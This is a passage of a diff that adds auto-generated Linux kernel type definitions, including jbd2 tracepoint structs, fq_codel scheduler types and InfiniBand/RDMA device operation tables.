+ unsigned int type; + unsigned int line_no; + int buffer_credits; + int requested_blocks; + char __data[0]; +}; + +struct trace_event_raw_jbd2_handle_stats { + struct trace_entry ent; + dev_t dev; + tid_t tid; + unsigned int type; + unsigned int line_no; + int interval; + int sync; + int requested_blocks; + int dirtied_blocks; + char __data[0]; +}; + +struct trace_event_raw_jbd2_run_stats { + struct trace_entry ent; + dev_t dev; + tid_t tid; + long unsigned int wait; + long unsigned int request_delay; + long unsigned int running; + long unsigned int locked; + long unsigned int flushing; + long unsigned int logging; + __u32 handle_count; + __u32 blocks; + __u32 blocks_logged; + char __data[0]; +}; + +struct trace_event_raw_jbd2_checkpoint_stats { + struct trace_entry ent; + dev_t dev; + tid_t tid; + long unsigned int chp_time; + __u32 forced_to_close; + __u32 written; + __u32 dropped; + char __data[0]; +}; + +struct trace_event_raw_jbd2_update_log_tail { + struct trace_entry ent; + dev_t dev; + tid_t tail_sequence; + tid_t first_tid; + long unsigned int block_nr; + long unsigned int freed; + char __data[0]; +}; + +struct trace_event_raw_jbd2_write_superblock { + struct trace_entry ent; + dev_t dev; + blk_opf_t write_flags; + char __data[0]; +}; + +struct trace_event_raw_jbd2_lock_buffer_stall { + struct trace_entry ent; + dev_t dev; + long unsigned int stall_ms; + char __data[0]; +}; + +struct trace_event_raw_jbd2_journal_shrink { + struct trace_entry ent; + dev_t dev; + long unsigned int nr_to_scan; + long unsigned int count; + char __data[0]; +}; + +struct trace_event_raw_jbd2_shrink_scan_exit { + struct trace_entry ent; + dev_t dev; + long unsigned int nr_to_scan; + long unsigned int nr_shrunk; + long unsigned int count; + char __data[0]; +}; + +struct trace_event_raw_jbd2_shrink_checkpoint_list { + struct trace_entry ent; + dev_t dev; + tid_t first_tid; + tid_t tid; + tid_t last_tid; + long unsigned int nr_freed; + long unsigned int nr_scanned; + tid_t next_tid; + char __data[0]; +}; + +struct trace_event_data_offsets_jbd2_checkpoint {}; + +struct trace_event_data_offsets_jbd2_commit {}; + +struct trace_event_data_offsets_jbd2_end_commit {}; + +struct trace_event_data_offsets_jbd2_submit_inode_data {}; + +struct trace_event_data_offsets_jbd2_handle_start_class {}; + +struct trace_event_data_offsets_jbd2_handle_extend {}; + +struct trace_event_data_offsets_jbd2_handle_stats {}; + +struct trace_event_data_offsets_jbd2_run_stats {}; + +struct trace_event_data_offsets_jbd2_checkpoint_stats {}; + +struct trace_event_data_offsets_jbd2_update_log_tail {}; + +struct trace_event_data_offsets_jbd2_write_superblock {}; + +struct trace_event_data_offsets_jbd2_lock_buffer_stall {}; + +struct trace_event_data_offsets_jbd2_journal_shrink {}; + +struct trace_event_data_offsets_jbd2_shrink_scan_exit {}; + +struct trace_event_data_offsets_jbd2_shrink_checkpoint_list {}; + +typedef void (*btf_trace_jbd2_checkpoint)(void *, journal_t *, int); + +typedef void (*btf_trace_jbd2_start_commit)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_commit_locking)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_commit_flushing)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_commit_logging)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_drop_transaction)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_end_commit)(void *, journal_t *, transaction_t *); + +typedef void (*btf_trace_jbd2_submit_inode_data)(void *, struct inode *); + +typedef void (*btf_trace_jbd2_handle_start)(void *, dev_t, tid_t, unsigned int, unsigned int, int); + +typedef void (*btf_trace_jbd2_handle_restart)(void *, dev_t, tid_t, unsigned int, unsigned int, int); + +typedef void (*btf_trace_jbd2_handle_extend)(void *, dev_t, tid_t, unsigned int, unsigned int, int, int); + +typedef void (*btf_trace_jbd2_handle_stats)(void *, dev_t, tid_t, unsigned int, unsigned int, int, int, int, int); + +typedef void (*btf_trace_jbd2_run_stats)(void *, dev_t, tid_t, struct transaction_run_stats_s *); + +typedef void (*btf_trace_jbd2_checkpoint_stats)(void *, dev_t, tid_t, struct transaction_chp_stats_s *); + +typedef void (*btf_trace_jbd2_update_log_tail)(void *, journal_t *, tid_t, long unsigned int, long unsigned int); + +typedef void (*btf_trace_jbd2_write_superblock)(void *, journal_t *, blk_opf_t); + +typedef void (*btf_trace_jbd2_lock_buffer_stall)(void *, dev_t, long unsigned int); + +typedef void (*btf_trace_jbd2_shrink_count)(void *, journal_t *, long unsigned int, long unsigned int); + +typedef void (*btf_trace_jbd2_shrink_scan_enter)(void *, journal_t *, long unsigned int, long unsigned int); + +typedef void (*btf_trace_jbd2_shrink_scan_exit)(void *, journal_t *, long unsigned int, long unsigned int, long unsigned int); + +typedef void (*btf_trace_jbd2_shrink_checkpoint_list)(void *, journal_t *, tid_t, tid_t, tid_t, long unsigned int, long unsigned int, tid_t); + +struct jbd2_stats_proc_session { + journal_t *journal; + struct transaction_stats_s *stats; + int start; + int max; +}; + +typedef bool busy_tag_iter_fn(struct request *, void *); + +struct bt_iter_data { + struct blk_mq_hw_ctx *hctx; + struct request_queue *q; + busy_tag_iter_fn *fn; + void *data; + bool reserved; +}; + +struct bt_tags_iter_data { + struct blk_mq_tags *tags; + busy_tag_iter_fn *fn; + void *data; + unsigned int flags; +}; + +struct once_work { + struct work_struct work; + struct static_key_true *key; + struct module *module; +}; + +struct irq_override_cmp { + const struct dmi_system_id *system; + unsigned char irq; + unsigned char triggering; + unsigned char polarity; + unsigned char shareable; + bool override; +}; + +struct res_proc_context { + struct list_head *list; + int (*preproc)(struct acpi_resource *, void *); + void *preproc_data; + int count; + int error; +}; + +struct virtio_pci_modern_common_cfg { + struct virtio_pci_common_cfg cfg; + __le16 queue_notify_data; + __le16 queue_reset; +}; + +enum iommu_dma_cookie_type { + IOMMU_DMA_IOVA_COOKIE = 0, + IOMMU_DMA_MSI_COOKIE = 1, +}; + +struct iova_fq; + +struct iommu_dma_cookie { + enum iommu_dma_cookie_type type; + union { + struct { + struct iova_domain iovad; + struct iova_fq *fq; + atomic64_t fq_flush_start_cnt; + atomic64_t fq_flush_finish_cnt; + struct timer_list fq_timer; + atomic_t fq_timer_on; + }; + dma_addr_t msi_iova; + }; + struct list_head msi_page_list; + struct iommu_domain *fq_domain; + struct mutex mutex; +}; + +struct iommu_dma_msi_page { + struct list_head list; + dma_addr_t iova; + phys_addr_t phys; +}; + +struct iova_fq_entry { + long unsigned int iova_pfn; + long unsigned int pages; + struct list_head freelist; + u64 counter; +}; + +struct iova_fq { + struct iova_fq_entry entries[256]; + unsigned int head; + unsigned int tail; + spinlock_t lock; +}; + +struct tunnel_msg { + __u8 family; + __u8 flags; + __u16 reserved2; + __u32 ifindex; +}; + +enum { + VNIFILTER_ENTRY_STATS_UNSPEC = 0, + VNIFILTER_ENTRY_STATS_RX_BYTES = 1, + VNIFILTER_ENTRY_STATS_RX_PKTS = 2, + VNIFILTER_ENTRY_STATS_RX_DROPS = 3, + VNIFILTER_ENTRY_STATS_RX_ERRORS = 4, + VNIFILTER_ENTRY_STATS_TX_BYTES = 5, + VNIFILTER_ENTRY_STATS_TX_PKTS = 6, + VNIFILTER_ENTRY_STATS_TX_DROPS = 7, + VNIFILTER_ENTRY_STATS_TX_ERRORS = 8, + VNIFILTER_ENTRY_STATS_PAD = 9, + __VNIFILTER_ENTRY_STATS_MAX = 10, +}; + +enum { + VXLAN_VNIFILTER_ENTRY_UNSPEC = 0, + VXLAN_VNIFILTER_ENTRY_START = 1, + VXLAN_VNIFILTER_ENTRY_END = 2, + VXLAN_VNIFILTER_ENTRY_GROUP = 3, + VXLAN_VNIFILTER_ENTRY_GROUP6 = 4, + VXLAN_VNIFILTER_ENTRY_STATS = 5, + __VXLAN_VNIFILTER_ENTRY_MAX = 6, +}; + +enum { + VXLAN_VNIFILTER_UNSPEC = 0, + VXLAN_VNIFILTER_ENTRY = 1, + __VXLAN_VNIFILTER_MAX = 2, +}; + +struct a4tech_sc { + long unsigned int quirks; + unsigned int hw_wheel; + __s32 delayed_value; +}; + +struct ifconf { + int ifc_len; + union { + char *ifcu_buf; + struct ifreq *ifcu_req; + } ifc_ifcu; +}; + +struct hwtstamp_config { + int flags; + int tx_type; + int rx_filter; +}; + +enum hwtstamp_flags { + HWTSTAMP_FLAG_BONDED_PHC_INDEX = 1, + HWTSTAMP_FLAG_LAST = 1, + HWTSTAMP_FLAG_MASK = 1, +}; + +struct kernel_hwtstamp_config { + int flags; + int tx_type; + int rx_filter; +}; + +struct compat_ifconf { + compat_int_t ifc_len; + compat_caddr_t ifcbuf; +}; + +enum { + TCA_FQ_CODEL_UNSPEC = 0, + TCA_FQ_CODEL_TARGET = 1, + TCA_FQ_CODEL_LIMIT = 2, + TCA_FQ_CODEL_INTERVAL = 3, + TCA_FQ_CODEL_ECN = 4, + TCA_FQ_CODEL_FLOWS = 5, + TCA_FQ_CODEL_QUANTUM = 6, + TCA_FQ_CODEL_CE_THRESHOLD = 7, + TCA_FQ_CODEL_DROP_BATCH_SIZE = 8, + TCA_FQ_CODEL_MEMORY_LIMIT = 9, + TCA_FQ_CODEL_CE_THRESHOLD_SELECTOR = 10, + TCA_FQ_CODEL_CE_THRESHOLD_MASK = 11, + __TCA_FQ_CODEL_MAX = 12, +}; + +enum { + TCA_FQ_CODEL_XSTATS_QDISC = 0, + TCA_FQ_CODEL_XSTATS_CLASS = 1, +}; + +struct tc_fq_codel_qd_stats { + __u32 maxpacket; + __u32 drop_overlimit; + __u32 ecn_mark; + __u32 new_flow_count; + __u32 new_flows_len; + __u32 old_flows_len; + __u32 ce_mark; + __u32 memory_usage; + __u32 drop_overmemory; +}; + +struct tc_fq_codel_cl_stats { + __s32 deficit; + __u32 ldelay; + __u32 count; + __u32 lastcount; + __u32 dropping; + __s32 drop_next; +}; + +struct tc_fq_codel_xstats { + __u32 type; + union { + struct tc_fq_codel_qd_stats qdisc_stats; + struct tc_fq_codel_cl_stats class_stats; + }; +}; + +typedef u32 codel_time_t; + +typedef s32 codel_tdiff_t; + +struct codel_params { + codel_time_t target; + codel_time_t ce_threshold; + codel_time_t interval; + u32 mtu; + bool ecn; + u8 ce_threshold_selector; + u8 ce_threshold_mask; +}; + +struct codel_vars { + u32 count; + u32 lastcount; + bool dropping; + u16 rec_inv_sqrt; + codel_time_t first_above_time; + codel_time_t drop_next; + codel_time_t ldelay; +}; + +struct codel_stats { + u32 maxpacket; + u32 drop_count; + u32 drop_len; + u32 ecn_mark; + u32 ce_mark; +}; + +typedef u32 (*codel_skb_len_t)(const struct sk_buff *); + +typedef codel_time_t (*codel_skb_time_t)(const struct sk_buff *); + +typedef void (*codel_skb_drop_t)(struct sk_buff *, void *); + +typedef struct sk_buff * (*codel_skb_dequeue_t)(struct codel_vars *, void *); + +struct codel_skb_cb { + codel_time_t enqueue_time; + unsigned int mem_usage; +}; + +struct fq_codel_flow { + struct sk_buff *head; + struct sk_buff *tail; + struct list_head flowchain; + int deficit; + struct codel_vars cvars; +}; + +struct fq_codel_sched_data { + struct tcf_proto *filter_list; + struct tcf_block *block; + struct fq_codel_flow *flows; + u32 *backlogs; + u32 flows_cnt; + u32 quantum; + u32 drop_batch_size; + u32 memory_limit; + struct codel_params cparams; + struct codel_stats cstats; + u32 memory_usage; + u32 drop_overmemory; + u32 drop_overlimit; + u32 new_flow_count; + struct list_head new_flows; + struct list_head old_flows; +}; + +struct eeprom_req_info { + struct ethnl_req_info base; + u32 offset; + u32 length; + u8 page; + u8 bank; + u8 i2c_address; +}; + +struct eeprom_reply_data { + struct ethnl_reply_data base; + u32 length; + u8 *data; +}; + +struct fib_result_nl { + __be32 fl_addr; + u32 fl_mark; + unsigned char fl_tos; + unsigned char fl_scope; + unsigned char tb_id_in; + unsigned char tb_id; + unsigned char prefixlen; + unsigned char nh_sel; + unsigned char type; + unsigned char scope; + int err; +}; + +struct udp_tunnel_nic_table_entry; + +struct udp_tunnel_nic { + struct work_struct work; + struct net_device *dev; + u8 need_sync: 1; + u8 need_replay: 1; + u8 work_pending: 1; + unsigned int n_tables; + long unsigned int missed; + struct udp_tunnel_nic_table_entry **entries; +}; + +struct udp_tunnel_nic_shared_node { + struct net_device *dev; + struct list_head list; +}; + +enum udp_tunnel_nic_table_entry_flags { + UDP_TUNNEL_NIC_ENTRY_ADD = 1, + UDP_TUNNEL_NIC_ENTRY_DEL = 2, + UDP_TUNNEL_NIC_ENTRY_OP_FAIL = 4, + UDP_TUNNEL_NIC_ENTRY_FROZEN = 8, +}; + +struct udp_tunnel_nic_table_entry { + __be16 port; + u8 type; + u8 flags; + u16 use_cnt; + u8 hw_priv; +}; + +struct dim_sample { + ktime_t time; + u32 pkt_ctr; + u32 byte_ctr; + u16 event_ctr; + u32 comp_ctr; +}; + +struct dim_stats { + int ppms; + int bpms; + int epms; + int cpms; + int cpe_ratio; +}; + +struct dim { + u8 state; + struct dim_stats prev_stats; + struct dim_sample start_sample; + struct dim_sample measuring_sample; + struct work_struct work; + void *priv; + u8 profile_ix; + u8 mode; + u8 tune_state; + u8 steps_right; + u8 steps_left; + u8 tired; +}; + +enum rdma_nl_counter_mode { + RDMA_COUNTER_MODE_NONE = 0, + RDMA_COUNTER_MODE_AUTO = 1, + RDMA_COUNTER_MODE_MANUAL = 2, + RDMA_COUNTER_MODE_MAX = 3, +}; + +enum rdma_nl_counter_mask { + RDMA_COUNTER_MASK_QP_TYPE = 1, + RDMA_COUNTER_MASK_PID = 2, +}; + +enum rdma_restrack_type { + RDMA_RESTRACK_PD = 0, + RDMA_RESTRACK_CQ = 1, + RDMA_RESTRACK_QP = 2, + RDMA_RESTRACK_CM_ID = 3, + RDMA_RESTRACK_MR = 4, + RDMA_RESTRACK_CTX = 5, + RDMA_RESTRACK_COUNTER = 6, + RDMA_RESTRACK_SRQ = 7, + RDMA_RESTRACK_MAX = 8, +}; + +struct rdma_restrack_entry { + bool valid; + u8 no_track: 1; + struct kref kref; + struct completion comp; + struct task_struct *task; + const char *kern_name; + enum rdma_restrack_type type; + bool user; + u32 id; +}; + +struct rdma_link_ops { + struct list_head list; + const char *type; + int (*newlink)(const char *, struct net_device *); +}; + +struct auto_mode_param { + int qp_type; +}; + +struct rdma_counter_mode { + enum rdma_nl_counter_mode mode; + enum rdma_nl_counter_mask mask; + struct auto_mode_param param; +}; + +struct rdma_hw_stats; + +struct rdma_port_counter { + struct rdma_counter_mode mode; + struct rdma_hw_stats *hstats; + unsigned int num_counters; + struct mutex lock; +}; + +struct rdma_stat_desc; + +struct rdma_hw_stats { + struct mutex lock; + long unsigned int timestamp; + long unsigned int lifespan; + const struct rdma_stat_desc *descs; + long unsigned int *is_disabled; + int num_counters; + u64 value[0]; +}; + +struct rdma_counter { + struct rdma_restrack_entry res; + struct ib_device *device; + uint32_t id; + struct kref kref; + struct rdma_counter_mode mode; + struct mutex lock; + struct rdma_hw_stats *stats; + u32 port; +}; + +enum rdma_driver_id { + RDMA_DRIVER_UNKNOWN = 0, + RDMA_DRIVER_MLX5 = 1, + RDMA_DRIVER_MLX4 = 2, + RDMA_DRIVER_CXGB3 = 3, + RDMA_DRIVER_CXGB4 = 4, + RDMA_DRIVER_MTHCA = 5, + RDMA_DRIVER_BNXT_RE = 6, + RDMA_DRIVER_OCRDMA = 7, + RDMA_DRIVER_NES = 8, + RDMA_DRIVER_I40IW = 9, + RDMA_DRIVER_IRDMA = 9, + RDMA_DRIVER_VMW_PVRDMA = 10, + RDMA_DRIVER_QEDR = 11, + RDMA_DRIVER_HNS = 12, + RDMA_DRIVER_USNIC = 13, + RDMA_DRIVER_RXE = 14, + RDMA_DRIVER_HFI1 = 15, + RDMA_DRIVER_QIB = 16, + RDMA_DRIVER_EFA = 17, + RDMA_DRIVER_SIW = 18, + RDMA_DRIVER_ERDMA = 19, + RDMA_DRIVER_MANA = 20, +}; + +enum ib_cq_notify_flags { + IB_CQ_SOLICITED = 1, + IB_CQ_NEXT_COMP = 2, + IB_CQ_SOLICITED_MASK = 3, + IB_CQ_REPORT_MISSED_EVENTS = 4, +}; + +struct ib_mad; + +enum rdma_link_layer { + IB_LINK_LAYER_UNSPECIFIED = 0, + IB_LINK_LAYER_INFINIBAND = 1, + IB_LINK_LAYER_ETHERNET = 2, +}; + +enum rdma_netdev_t { + RDMA_NETDEV_OPA_VNIC = 0, + RDMA_NETDEV_IPOIB = 1, +}; + +enum ib_srq_attr_mask { + IB_SRQ_MAX_WR = 1, + IB_SRQ_LIMIT = 2, +}; + +enum ib_mr_type { + IB_MR_TYPE_MEM_REG = 0, + IB_MR_TYPE_SG_GAPS = 1, + IB_MR_TYPE_DM = 2, + IB_MR_TYPE_USER = 3, + IB_MR_TYPE_DMA = 4, + IB_MR_TYPE_INTEGRITY = 5, +}; + +enum ib_uverbs_advise_mr_advice { + IB_UVERBS_ADVISE_MR_ADVICE_PREFETCH = 0, + IB_UVERBS_ADVISE_MR_ADVICE_PREFETCH_WRITE = 1, + IB_UVERBS_ADVISE_MR_ADVICE_PREFETCH_NO_FAULT = 2, +}; + +struct uverbs_attr_bundle; + +struct rdma_cm_id; + +struct iw_cm_id; + +struct iw_cm_conn_param; + +struct ib_qp; + +struct ib_send_wr; + +struct ib_recv_wr; + +struct ib_cq; + +struct ib_wc; + +struct ib_srq; + +struct ib_grh; + +struct ib_device_attr; + +struct ib_udata; + +struct ib_device_modify; + +struct ib_port_attr; + +struct ib_port_modify; + +struct ib_port_immutable; + +struct rdma_netdev_alloc_params; + +struct ib_gid_attr; + +struct ib_ucontext; + +struct rdma_user_mmap_entry; + +struct ib_pd; + +struct ib_ah; + +struct rdma_ah_init_attr; + +struct rdma_ah_attr; + +struct ib_srq_init_attr; + +struct ib_srq_attr; + +struct ib_qp_init_attr; + +struct ib_qp_attr; + +struct ib_cq_init_attr; + +struct ib_mr; + +struct ib_sge; + +struct ib_mr_status; + +struct ib_mw; + +struct ib_xrcd; + +struct ib_flow; + +struct ib_flow_attr; + +struct ib_flow_action; + +struct ib_wq; + +struct ib_wq_init_attr; + +struct ib_wq_attr; + +struct ib_rwq_ind_table; + +struct ib_rwq_ind_table_init_attr; + +struct ib_dm; + +struct ib_dm_alloc_attr; + +struct ib_dm_mr_attr; + +struct ib_counters; + +struct ib_counters_read_attr; + +struct ib_device_ops { + struct module *owner; + enum rdma_driver_id driver_id; + u32 uverbs_abi_ver; + unsigned int uverbs_no_driver_id_binding: 1; + const struct attribute_group *device_group; + const struct attribute_group **port_groups; + int (*post_send)(struct ib_qp *, const struct ib_send_wr *, const struct ib_send_wr **); + int (*post_recv)(struct ib_qp *, const struct ib_recv_wr *, const struct ib_recv_wr **); + void (*drain_rq)(struct ib_qp *); + void (*drain_sq)(struct ib_qp *); + int (*poll_cq)(struct ib_cq *, int, struct ib_wc *); + int (*peek_cq)(struct ib_cq *, int); + int (*req_notify_cq)(struct ib_cq *, enum ib_cq_notify_flags); + int (*post_srq_recv)(struct ib_srq *, const struct ib_recv_wr *, const struct ib_recv_wr **); + int (*process_mad)(struct ib_device *, int, u32, const struct ib_wc *, const struct ib_grh *, const struct ib_mad *, struct ib_mad *, size_t *, u16 *); + int (*query_device)(struct ib_device *, struct ib_device_attr *, struct ib_udata *); + int (*modify_device)(struct ib_device *, int, struct ib_device_modify *); + void (*get_dev_fw_str)(struct ib_device *, char *); + const struct cpumask * (*get_vector_affinity)(struct ib_device *, int); + int (*query_port)(struct ib_device *, u32, struct ib_port_attr *); + int (*modify_port)(struct ib_device *, u32, int, struct ib_port_modify *); + int (*get_port_immutable)(struct ib_device *, u32, struct ib_port_immutable *); + enum rdma_link_layer (*get_link_layer)(struct ib_device *, u32); + struct net_device * (*get_netdev)(struct ib_device *, u32); + struct net_device * (*alloc_rdma_netdev)(struct ib_device *, u32, enum rdma_netdev_t, const char *, unsigned char, void (*)(struct net_device *)); + int (*rdma_netdev_get_params)(struct ib_device *, u32, enum rdma_netdev_t, struct rdma_netdev_alloc_params *); + int (*query_gid)(struct ib_device *, u32, int, union ib_gid *); + int (*add_gid)(const struct ib_gid_attr *, void **); + int (*del_gid)(const struct ib_gid_attr *, void **); + int (*query_pkey)(struct ib_device *, u32, u16, u16 *); + int (*alloc_ucontext)(struct ib_ucontext *, struct ib_udata *); + void (*dealloc_ucontext)(struct ib_ucontext *); + int (*mmap)(struct ib_ucontext *, struct vm_area_struct *); + void (*mmap_free)(struct rdma_user_mmap_entry *); + void (*disassociate_ucontext)(struct ib_ucontext *); + int (*alloc_pd)(struct ib_pd *, struct ib_udata *); + int (*dealloc_pd)(struct ib_pd *, struct ib_udata *); + int (*create_ah)(struct ib_ah *, struct rdma_ah_init_attr *, struct ib_udata *); + int (*create_user_ah)(struct ib_ah *, struct rdma_ah_init_attr *, struct ib_udata *); + int (*modify_ah)(struct ib_ah *, struct rdma_ah_attr *); + int (*query_ah)(struct ib_ah *, struct rdma_ah_attr *); + int (*destroy_ah)(struct ib_ah *, u32); + int (*create_srq)(struct ib_srq *, struct ib_srq_init_attr *, struct ib_udata *); + int (*modify_srq)(struct ib_srq *, struct ib_srq_attr *, enum ib_srq_attr_mask, struct ib_udata *); + int (*query_srq)(struct ib_srq *, struct ib_srq_attr *); + int (*destroy_srq)(struct ib_srq *, struct ib_udata *); + int (*create_qp)(struct ib_qp *, struct ib_qp_init_attr *, struct ib_udata *); + int (*modify_qp)(struct ib_qp *, struct ib_qp_attr *, int, struct ib_udata *); + int (*query_qp)(struct ib_qp *, struct ib_qp_attr *, int, struct ib_qp_init_attr *); + int (*destroy_qp)(struct ib_qp *, struct ib_udata *); + int (*create_cq)(struct ib_cq *, const struct ib_cq_init_attr *, struct ib_udata *); + int (*modify_cq)(struct ib_cq *, u16, u16); + int (*destroy_cq)(struct ib_cq *, struct ib_udata *); + int (*resize_cq)(struct ib_cq *, int, struct ib_udata *); + struct ib_mr * (*get_dma_mr)(struct ib_pd *, int); + struct ib_mr * (*reg_user_mr)(struct ib_pd *, u64, u64, u64, int, struct ib_udata *); + struct ib_mr * (*reg_user_mr_dmabuf)(struct ib_pd *, u64, u64, u64, int, int, struct ib_udata *); + struct ib_mr * (*rereg_user_mr)(struct ib_mr *, int, u64, u64, u64, int, struct ib_pd *, struct ib_udata *); + int (*dereg_mr)(struct ib_mr *, struct ib_udata *); + struct ib_mr * (*alloc_mr)(struct ib_pd *, enum ib_mr_type, u32); + struct ib_mr * (*alloc_mr_integrity)(struct ib_pd *, u32, u32); + int (*advise_mr)(struct ib_pd *, enum ib_uverbs_advise_mr_advice, u32, struct ib_sge *, u32, struct uverbs_attr_bundle *); + int (*map_mr_sg)(struct ib_mr *, struct scatterlist *, int, unsigned int *); + int (*check_mr_status)(struct ib_mr *, u32, struct ib_mr_status *); + int (*alloc_mw)(struct ib_mw *, struct ib_udata *); + int (*dealloc_mw)(struct ib_mw *); + int (*attach_mcast)(struct ib_qp *, union ib_gid *, u16); + int (*detach_mcast)(struct ib_qp *, union ib_gid *, u16); + int (*alloc_xrcd)(struct ib_xrcd *, struct ib_udata *); + int (*dealloc_xrcd)(struct ib_xrcd *, struct ib_udata *); + struct ib_flow * (*create_flow)(struct ib_qp *, struct ib_flow_attr *, struct ib_udata *); + int (*destroy_flow)(struct ib_flow *); + int (*destroy_flow_action)(struct ib_flow_action *); + int (*set_vf_link_state)(struct ib_device *, int, u32, int); + int (*get_vf_config)(struct ib_device *, int, u32, struct ifla_vf_info *); + int (*get_vf_stats)(struct ib_device *, int, u32, struct ifla_vf_stats *); + int (*get_vf_guid)(struct ib_device *, int, u32, struct ifla_vf_guid *, struct ifla_vf_guid *); + int (*set_vf_guid)(struct ib_device *, int, u32, u64, int); + struct ib_wq * (*create_wq)(struct ib_pd *, struct ib_wq_init_attr *, struct ib_udata *); + int (*destroy_wq)(struct ib_wq *, struct ib_udata *); + int (*modify_wq)(struct ib_wq *, struct ib_wq_attr *, u32, struct ib_udata *); + int (*create_rwq_ind_table)(struct ib_rwq_ind_table *, struct ib_rwq_ind_table_init_attr *, struct ib_udata *); + int (*destroy_rwq_ind_table)(struct ib_rwq_ind_table *); + struct ib_dm * (*alloc_dm)(struct ib_device *, struct ib_ucontext *, struct ib_dm_alloc_attr *, struct uverbs_attr_bundle *); + int (*dealloc_dm)(struct ib_dm *, struct uverbs_attr_bundle *); + struct ib_mr * (*reg_dm_mr)(struct ib_pd *, struct ib_dm *, struct ib_dm_mr_attr *, struct uverbs_attr_bundle *); + int (*create_counters)(struct ib_counters *, struct uverbs_attr_bundle *); + int (*destroy_counters)(struct ib_counters *); + int (*read_counters)(struct ib_counters *, struct ib_counters_read_attr *, struct uverbs_attr_bundle *); + int (*map_mr_sg_pi)(struct ib_mr *, struct scatterlist *, int, unsigned int *, struct scatterlist *, int, unsigned int *); + struct rdma_hw_stats * (*alloc_hw_device_stats)(struct ib_device *); + struct rdma_hw_stats * (*alloc_hw_port_stats)(struct ib_device *, u32); + int (*get_hw_stats)(struct ib_device *, struct rdma_hw_stats *, u32, int); + int (*modify_hw_stat)(struct ib_device *, u32, unsigned int, bool); + int (*fill_res_mr_entry)(struct sk_buff *, struct ib_mr *); + int (*fill_res_mr_entry_raw)(struct sk_buff *, struct ib_mr *); + int (*fill_res_cq_entry)(struct sk_buff *, struct ib_cq *); + int (*fill_res_cq_entry_raw)(struct sk_buff *, struct ib_cq *); + int (*fill_res_qp_entry)(struct sk_buff *, struct ib_qp *); + int (*fill_res_qp_entry_raw)(struct sk_buff *, struct ib_qp *); + int (*fill_res_cm_id_entry)(struct sk_buff *, struct rdma_cm_id *); + int (*enable_driver)(struct ib_device *); + void (*dealloc_driver)(struct ib_device *); + void (*iw_add_ref)(struct ib_qp *); + void (*iw_rem_ref)(struct ib_qp *); + struct ib_qp * (*iw_get_qp)(struct ib_device *, int); + int (*iw_connect)(struct iw_cm_id *, struct iw_cm_conn_param *); + int (*iw_accept)(struct iw_cm_id *, struct iw_cm_conn_param *); + int (*iw_reject)(struct iw_cm_id *, const void *, u8); + int (*iw_create_listen)(struct iw_cm_id *, int); + int (*iw_destroy_listen)(struct iw_cm_id *); + int (*counter_bind_qp)(struct rdma_counter *, struct ib_qp *); + int (*counter_unbind_qp)(struct ib_qp *); + int (*counter_dealloc)(struct rdma_counter *); + struct rdma_hw_stats * (*counter_alloc_stats)(struct rdma_counter *); + int (*counter_update_stats)(struct rdma_counter *); + int (*fill_stat_mr_entry)(struct sk_buff *, struct ib_mr *); + int (*query_ucontext)(struct ib_ucontext *, struct uverbs_attr_bundle *); + int (*get_numa_node)(struct ib_device *); + size_t size_ib_ah; + size_t size_ib_counters; + size_t size_ib_cq; + size_t size_ib_mw; + size_t size_ib_pd; + size_t size_ib_qp; + size_t size_ib_rwq_ind_table; + size_t size_ib_srq; + size_t size_ib_ucontext; + size_t size_ib_xrcd; +}; + +struct ib_core_device { + struct device dev; + possible_net_t rdma_net; + struct kobject *ports_kobj; + struct list_head port_list; + struct ib_device *owner; +}; + +enum ib_atomic_cap { + IB_ATOMIC_NONE = 0, + IB_ATOMIC_HCA = 1, + IB_ATOMIC_GLOB = 2, +}; + +struct ib_odp_caps { + uint64_t general_caps; + struct { + uint32_t rc_odp_caps; + uint32_t uc_odp_caps; + uint32_t ud_odp_caps; + uint32_t xrc_odp_caps; + } per_transport_caps; +}; + +struct ib_rss_caps { + u32 supported_qpts; + u32 max_rwq_indirection_tables; + u32 max_rwq_indirection_table_size; +}; + +struct ib_tm_caps { + u32 max_rndv_hdr_size; + u32 max_num_tags; + u32 flags; + u32 max_ops; + u32 max_sge; +}; + +struct ib_cq_caps { + u16 max_cq_moderation_count; + u16 max_cq_moderation_period; +}; + +struct ib_device_attr { + u64 fw_ver; + __be64 sys_image_guid; + u64 max_mr_size; + u64 page_size_cap; + u32 vendor_id; + u32 vendor_part_id; + u32 hw_ver; + int max_qp; + int max_qp_wr; + u64 device_cap_flags; + u64 kernel_cap_flags; + int max_send_sge; + int max_recv_sge; + int max_sge_rd; + int max_cq; + int max_cqe; + int max_mr; + int max_pd; + int max_qp_rd_atom; + int max_ee_rd_atom; + int max_res_rd_atom; + int max_qp_init_rd_atom; + int max_ee_init_rd_atom; + enum ib_atomic_cap atomic_cap; + enum ib_atomic_cap masked_atomic_cap; + int max_ee; + int max_rdd; + int max_mw; + int max_raw_ipv6_qp; + int max_raw_ethy_qp; + int max_mcast_grp; + int max_mcast_qp_attach; + int max_total_mcast_qp_attach; + int max_ah; + int max_srq; + int max_srq_wr; + int max_srq_sge; + unsigned int max_fast_reg_page_list_len; + unsigned int max_pi_fast_reg_page_list_len; + u16 max_pkeys; + u8 local_ca_ack_delay; + int sig_prot_cap; + int sig_guard_cap; + struct ib_odp_caps odp_caps; + uint64_t timestamp_mask; + uint64_t hca_core_clock; + struct ib_rss_caps rss_caps; + u32 max_wq_type_rq; + u32 raw_packet_caps; + struct ib_tm_caps tm_caps; + struct ib_cq_caps cq_caps; + u64 max_dm_size; + u32 max_sgl_rd; +}; + +struct hw_stats_device_data; + +struct rdma_restrack_root; + +struct uapi_definition; + +struct ib_port_data; + +struct ib_device { + struct device *dma_device; + struct ib_device_ops ops; + char name[64]; + struct callback_head callback_head; + struct list_head event_handler_list; + struct rw_semaphore event_handler_rwsem; + spinlock_t qp_open_list_lock; + struct rw_semaphore client_data_rwsem; + struct xarray client_data; + struct mutex unregistration_lock; + rwlock_t cache_lock; + struct ib_port_data *port_data; + int num_comp_vectors; + union { + struct device dev; + struct ib_core_device coredev; + }; + const struct attribute_group *groups[4]; + u64 uverbs_cmd_mask; + char node_desc[64]; + __be64 node_guid; + u32 local_dma_lkey; + u16 is_switch: 1; + u16 kverbs_provider: 1; + u16 use_cq_dim: 1; + u8 node_type; + u32 phys_port_cnt; + struct ib_device_attr attrs; + struct hw_stats_device_data *hw_stats_data; + u32 index; + spinlock_t 